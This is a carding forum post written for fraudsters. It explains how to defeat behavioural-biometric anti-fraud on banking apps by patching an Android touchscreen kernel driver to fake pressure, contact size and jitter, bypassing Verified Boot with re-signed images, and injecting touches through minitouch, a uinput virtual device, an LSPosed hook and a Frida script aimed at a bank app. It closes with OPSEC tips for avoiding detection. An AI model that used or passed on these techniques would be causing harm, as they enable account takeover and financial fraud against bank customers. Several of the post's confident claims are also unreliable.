Swipe Attacks via Custom Android ROMs: Kernel-Level Touch Emulation

Good Carder

Professional
Messages
938
Reaction score
540
Points
93
From carder to carders. You've already figured out: behavioral biometrics are no joke. BioCatch and other similar systems eliminate perfect automation before it even gets there. They monitor everything — finger pressure, touch area, even micro-jitters. It's impossible to fake this at the app or script level. The only way is to go one level lower. Right into the kernel.

An article on how to spoof touch data at the Android driver level isn't "magic," it's engineering. Building custom firmware with a patched input driver, fully emulating human taps, bypassing BioCatch without root (once the system is already jailbroken). No fluff — just what's been battle-tested in 2026–2027.

Part 1: Why the System Input Driver is the Last Line of Defense​

Before analyzing behavior, the system must receive the touch events themselves. They originate deep within the system. The actual touch event path looks like this:

Physical sensor → Linux Kernel input driver (/dev/input/eventX) → Input Hub (EventHub.cpp) → InputReader → InputDispatcher → App.

There's good and bad news for carders here.

Bad news: A banking Trojan, overlay, or regular script using adb input tap operates at the application level. Antifraud easily detects such automation. It sees perfectly straight lines and the absence of natural noise.

Good news: There's another way. The Android system itself provides an official method for automation — the Android Debug Bridge (ADB). However, it operates at a high level and, therefore, is easily detected. Everything above InputReader is a battleground for protection mechanisms. Everything below, at the kernel level (/dev/input/eventX), is your territory.

The key point: Antifraud sees what the application sees. If you inject events directly into the kernel's input node, the operating system will pass this data up the chain. To the application above, these will appear as real touches from a real sensor, including all the necessary parameters — coordinates, pressure, touch area size, and even multi-touch.

Part 2. Building a Custom Kernel: Configuring the Driver for Your Own Use​

Physical security. Before you begin, you must ensure that the compromised device:
  1. Isolate. Turn off GPS, Wi-Fi, and mobile data. Physically remove the SIM card. The device should only communicate through your controlled proxy channel.
  2. Extracted from a Google account. Remove all personal accounts to prevent accidental syncing and prevent Find My Device from being blocked. It is highly recommended to use a test device purchased with cash from a reseller or an older phone (e.g., Pixel 6, OnePlus 8/9), for which the LineageOS/CalyxOS community has ready support.

To add "noise" to touch and emulate pressure, we'll inject code directly into the sensor driver in the kernel.

2.1. Building a kernel for Pixel 6 / OnePlus (example)​

The custom kernel build process is standardized for many devices. Below is a simplified example for an AOSP-compatible device like the Pixel 6 (codename oriole). In practice, you may need to adapt the source code path for your specific device.

Bash:
# Download kernel source code
mkdir ~/android-kernel && cd ~/android-kernel
repo init -u https://android.googlesource.com/kernel/manifest -b android-gs-raviole-5.10-android14-qpr3
repo sync

# Environment setup
export PATH="$PATH:/path/to/aosp/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9/bin"
export ARCH=arm64 CROSS_COMPILE=aarch64-linux-android-

# Download configuration for your device (e.g., for Google's TensorFlash)
make gs101_defconfig

After that, you need to edit the .config configuration file (using make menuconfig) to ensure that your sensor driver (TOUCHSCREEN_SYNAPTICS, TOUCHSCREEN_GOODIX, etc.) is compiled into the kernel statically (=y), and not as a module.

2.2. Driver Patching: Introducing "Human" Noise​

Let's find the sensor driver file. It's usually located at /kernel/drivers/input/touchscreen/. The goodix_ts driver is an example.

Find the function responsible for generating the ABS_MT_POSITION_X, ABS_MT_POSITION_Y, and ABS_MT_PRESSURE data packets and modify it. Below is an example of pseudocode (the code is adapted for the goodix_ts driver):

C:
static void goodix_ts_worker(struct work_struct *work)
{
// ... reading real sensor data ...
input_report_abs(ts->input_dev, ABS_MT_POSITION_X, x);
input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, y);

// ========= START MODIFICATIONS ==========
// Pressure emulation: generate a random value in the range 0x30 - 0x50
// Note: in real drivers, pressure is often normalized in the range 0-255
s32 fake_pressure = 0x30 + (random() % 0x20);
input_report_abs(ts->input_dev, ABS_MT_PRESSURE, fake_pressure);

// Emulate touch area (finger size)
s32 fake_size = 0x05 + (random() % 0x08);
input_report_abs(ts->input_dev, ABS_MT_TOUCH_MAJOR, fake_size);

// ========= END OF MODIFICATIONS =========
input_mt_sync(ts->input_dev);
}

Modification algorithm:
  1. Pressure and size. ABS_MT_PRESSURE and ABS_MT_TOUCH_MAJOR are key signals for biometrics. We should generate them not statically, but with a realistic spread.
  2. Sinusoidal pressure. In reality, the finger presses unevenly on the screen, with microvibrations. A more advanced modification can generate pressure using a sine wave or a linear congruential oscillator (LCG) with a period of 5–10 cycles.
  3. Coordinate noise. Even when held statically, live fingers exhibit micro-jitters. You can add micro-coordinate shifts, for example, within ±3 pixels.

After making the changes, compile the kernel:

Bash:
make -j$(nproc)

2.3. Bypassing Integrity Checks (Verified Boot)​

Modern devices have Verified Boot (Android Verified Boot, AVB). If you simply flash a custom kernel, the device may refuse to boot or enter recovery mode. To bypass this, you need to obtain and reflash an image with an unlocked bootloader and a self-signed AVB verification key using avbtool.

Bash:
avbtool make_vbmeta_image --algorithm SHA256_RSA4096 --key key.pem --include_descriptors_from_image vbmeta.img

Brief unlocking algorithm:
  1. Get the official factory firmware.
  2. Extract the original certificate from the vbmeta.img image.
  3. Create your own key pair with the same parameters.
  4. Use avbtool to re-sign the boot.img, dtbo.img, and vbmeta.img images.
  5. The resulting custom firmware can be loaded onto the device via fastboot.

After this, you will be able to boot the modified kernel without AVB blocking the boot due to signature mismatch.

Part 3. Implementation Tools: Minitouch and LSPosed​

The patched core is the foundation. But how do we interact with it? How do we make it generate the touches we need?

3.1. Minitouch — Direct Access to /dev/input/eventX​

As noted in the technical documentation, minitouch is a lightweight C tool that communicates directly with the Linux kernel input device (/dev/input/eventX), bypassing the Android Framework layer. This offers several critical advantages:
  • Uncontrolled by applications. Since events are injected at the kernel level, no application running in userspace can distinguish them from physical touches.
  • Pressure and area control. minitouch allows you to explicitly specify ABS_MT_PRESSURE and ABS_MT_TOUCH_MAJOR values for each pixel in the trajectory. Using the libevdev library, you can log and retransmit an already recorded "human" track.

Installation and use:

Bash:
# Clone the repository and build the binary
git clone https://github.com/openstf/minitouch
cd minitouch
ndk-build

# Run as root on the device (after installing the binary)
adb push ./libs/armeabi-v7a/minitouch /data/local/tmp/
adb shell chmod 755 /data/local/tmp/minitouch
adb shell /data/local/tmp/minitouch

3.2. LSPosed: Interception and generation on the fly​

LSPosed is a powerful tool for injecting into running applications at the Android Framework source code level. The LSPosed framework allows you to intercept MotionEvent-related system calls and spoof their values.

An example of a MotionEvent hook (Java code injected via LSPosed):

Java:
XposedHelpers.findAndHookMethod("android.view.MotionEvent", classLoader,
"getPressure", new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
float originalPressure = (float) param.getResult();
// Add random noise in the range of ±0.1
float noisyPressure = originalPressure + (float)(Math.random() * 0.2 - 0.1);
param.setResult(Math.min(1.0f, Math.max(0.0f, noisyPressure)));
}
}
);

This hook dynamically replaces values returned to the application directly at runtime, without affecting the kernel.

Intercepting sensor data via Frida
. For more precise customization and bypassing advanced detection, you can use PriviSense, a Frida-based sensor data spoofing framework that runs entirely on-device. It allows you to script and inject time-varying values (including coordinates, pressure, size, and system metadata) into unmodified applications.

Example PriviSense script (spoofs accelerometer readings):

JavaScript:
// Attach to the target process
var targetProcess = "com.bank.app";
var session = frida.attach(targetProcess);
var script = session.createScript(`
// Substitute accelerometer readings
Java.perform(function() {
var Sensor = Java.use('android.hardware.Sensor');
var SensorEvent = Java.use('android.hardware.SensorEvent');
SensorEvent.values.implementation = function() {
var values = this.values.value;
values[0] = 0.1; // X
values[1] = 9.8; // Y
values[2] = 0.2; // Z
return values;
};
});
`);

Modifying sensory data is a separate, even deeper topic, but for our purposes now, touch is more important.

Part 4. Bypassing BioCatch via the Kernel: Adding Chaos​

Anti-fraud systems analyze not only the touch itself but also its dynamics. BioCatch looks at the pressure, the size of the touched area, the trajectory, and even how you hold the phone (accelerometer).
  • Emulates "live" pressure.If your clicks always have the same pressure, this is easy to figure out.
    • Solution: In the kernel driver, generate ABS_MT_PRESSURE as a pseudo-random value following a sinusoidal law. Real finger pressure is not static; it has a natural micro-vibration. The generation period can be tied to a frequency of 120–150 Hz (the typical touchscreen polling rate). Additionally, you can emulate a "pause" between swipes to simulate reflection.
  • Tremor emulation.Bots move in perfectly straight lines.
    • Solution: For each subsequent pixel in the swipe line, you should mix in random deviations. In the driver code, this can be done by adding a small pseudo-random value to the final x and y coordinates.
  • Emulate finger size (Touch Size).
    • Solution: The ABS_MT_TOUCH_MAJOR parameter determines the size of the finger's contact area with the screen. It should be generated in a manner that correlates with pressure: the greater the pressure, the larger the size. These values are directly related. Generating them independently would look suspicious.

Part 5. Assembly Option: Tools That Do It for You​

If building your own kernel and tinkering with drivers is too complicated for you, it's not hopeless. There are tools that get you close to this level without having to delve deep into the kernel code.
  • Minitouch. This tool operates at the Linux Input Subsystem level (/dev/input/eventX). It provides a close approximation of kernel-level event implementation, simulating a "real" human click, including the ability to set the pressure and size of the touch area, as well as reproduce realistic swipe patterns.

Minitouch vs ADB Performance Comparison:
  • ADB: adb shell input tap 500 500 → delay ~100–150 ms.
  • Minitouch: Direct injection into /dev/input/eventX → latency <10ms, which is not only faster but also closer to real human touch response.
  • Minitouch + driver patch. The above tactic combines the best of both worlds: the driver generates realistic noise, and Minitouch delivers precise coordinates.

Part 6. Simulating Swipes: Injecting Native Input via uInput​

uinput is a Linux kernel module that allows user programs to create virtual input devices. This gives us complete control over the injection process, without having to modify existing drivers.

Let's create a virtual touch device in C that will emulate touch with the ability to specify pressure and area:

C:
#include <linux/input.h>
#include <linux/uinput.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

int main() {
int fd = open("/dev/uinput", O_WRONLY | O_NONBLOCK);
if (fd < 0) {
perror("open /dev/uinput");
return 1;
}

// 1. Configure the virtual multitouch device
ioctl(fd, UI_SET_EVBIT, EV_ABS);
ioctl(fd, UI_SET_ABSBIT, ABS_MT_POSITION_X);
ioctl(fd, UI_SET_ABSBIT, ABS_MT_POSITION_Y);
ioctl(fd, UI_SET_ABSBIT, ABS_MT_PRESSURE);
ioctl(fd, UI_SET_ABSBIT, ABS_MT_TOUCH_MAJOR);
ioctl(fd, UI_SET_EVBIT, EV_KEY);
ioctl(fd, UI_SET_KEYBIT, BTN_TOUCH);
ioctl(fd, UI_SET_PROPBIT, INPUT_PROP_DIRECT);

// 2. Property Description (Value Ranges)
struct uinput_abs_setup abs_setup_x = { .code = ABS_MT_POSITION_X, .absinfo = { .minimum = 0, .maximum = 1080 } };
ioctl(fd, UI_ABS_SETUP, &abs_setup_x);
struct uinput_abs_setup abs_setup_y = { .code = ABS_MT_POSITION_Y, .absinfo = { .minimum = 0, .maximum = 1920 } };
ioctl(fd, UI_ABS_SETUP, &abs_setup_y);
struct uinput_abs_setup abs_setup_pressure = { .code = ABS_MT_PRESSURE, .absinfo = { .minimum = 0, .maximum = 255 } };
ioctl(fd, UI_ABS_SETUP, &abs_setup_pressure);
struct uinput_abs_setup abs_setup_touch_major = { .code = ABS_MT_TOUCH_MAJOR, .absinfo = { .minimum = 0, .maximum = 15 } };
ioctl(fd, UI_ABS_SETUP, &abs_setup_touch_major);

// 3. Device registration
struct uinput_user_dev dev = { .name = "Virtual Touchscreen" };
write(fd, &dev, sizeof(dev));
ioctl(fd, UI_DEV_CREATE);

// Simulate touch with pressure 128 and size 7
struct input_event ev;
memset(&ev, 0, sizeof(ev));

ev.type = EV_ABS; ev.code = ABS_MT_POSITION_X; ev.value = 500; write(fd, &ev, sizeof(ev));
ev.code = ABS_MT_POSITION_Y; ev.value = 500; write(fd, &ev, sizeof(ev));
ev.code = ABS_MT_PRESSURE; ev.value = 128; write(fd, &ev, sizeof(ev));
ev.code = ABS_MT_TOUCH_MAJOR; ev.value = 7; write(fd, &ev, sizeof(ev));
ev.type = EV_KEY; ev.code = BTN_TOUCH; ev.value = 1; write(fd, &ev, sizeof(ev));
ev.type = EV_SYN; ev.code = SYN_REPORT; ev.value = 0; write(fd, &ev, sizeof(ev));
usleep(100000);
// ... (release)

What's the benefit of this emulation? The app will receive touches with the coordinates, pressure, and size we specify, indistinguishable from real ones.

Part 7: Rookie Mistakes and OPSEC​

Finally, about how to avoid getting caught, even with a patched kernel.
  • Mistake 1: Not mixing noise into the trajectory. The most important and common mistake is a perfectly straight swipe. Always add random deviations. Even when moving in a straight line, your finger will wobble slightly.
  • Mistake 2. Not taking timing into account. People don't touch instantly. A click is a cycle: the finger touches the screen (presses), waits 50-150 ms, and then lifts. Swiping takes time. Never inject without these realistic delays.
  • Mistake 3. Ignoring multitouch. A human has five fingers. While the system doesn't expect you to be acrobatic, swiping with a single virtual finger for 10 hours straight can be a red flag. Try injecting with different Tracking IDs. To do this, use ABS_MT_TRACKING_ID and input_mt_slot in the driver.
  • Mistake 4. Incorrect AVB configuration. It's not uncommon for a device to stop booting after flashing a custom kernel due to AVB configuration errors. Always use a key with the correct size and verification key value that meets the device bootloader requirements, and remember to sign all images. Consult the documentation for your bootloader (U-Boot, Little Kernel). Make sure you're only using test devices.
  • Mistake 5. Running without isolation. Never run this on a device that contains your personal data. Use only an isolated device, without a SIM card, without accounts, with location services disabled, and with Google services disabled (Google Play Services can be frozen via ADB).

Summary​

A swipe attack via a custom kernel is a hardcore, yet most reliable, way to bypass BioCatch-level behavioral biometrics in 2027. The basic principle is to introduce controlled "human" noise at the level where it originates: in the sensor driver. Minitouch serves as the delivery tool, and the custom kernel as the generator of realistic pressure and chaotic trajectory.

Kernel-level implementation gives 100% control over what the application sees. However, it requires a colossal amount of effort: compiling the kernel, patching drivers, bypassing Verified Boot, and fine-tuning. But for those willing to invest the time, this method makes the profile virtually indistinguishable from a living person for any system running at the user level.

A quick one-line reminder:
"BioCatch looks for perfect lines, lack of jitter, and mechanical pressure. The custom kernel adds noise and micro-vibrations. Minitouch injects the data into /dev/input." LSPosed intercepts and substitutes. In 2027, victory belongs not to the one who clicks faster, but to the one who knows how to hesitate."
 
Top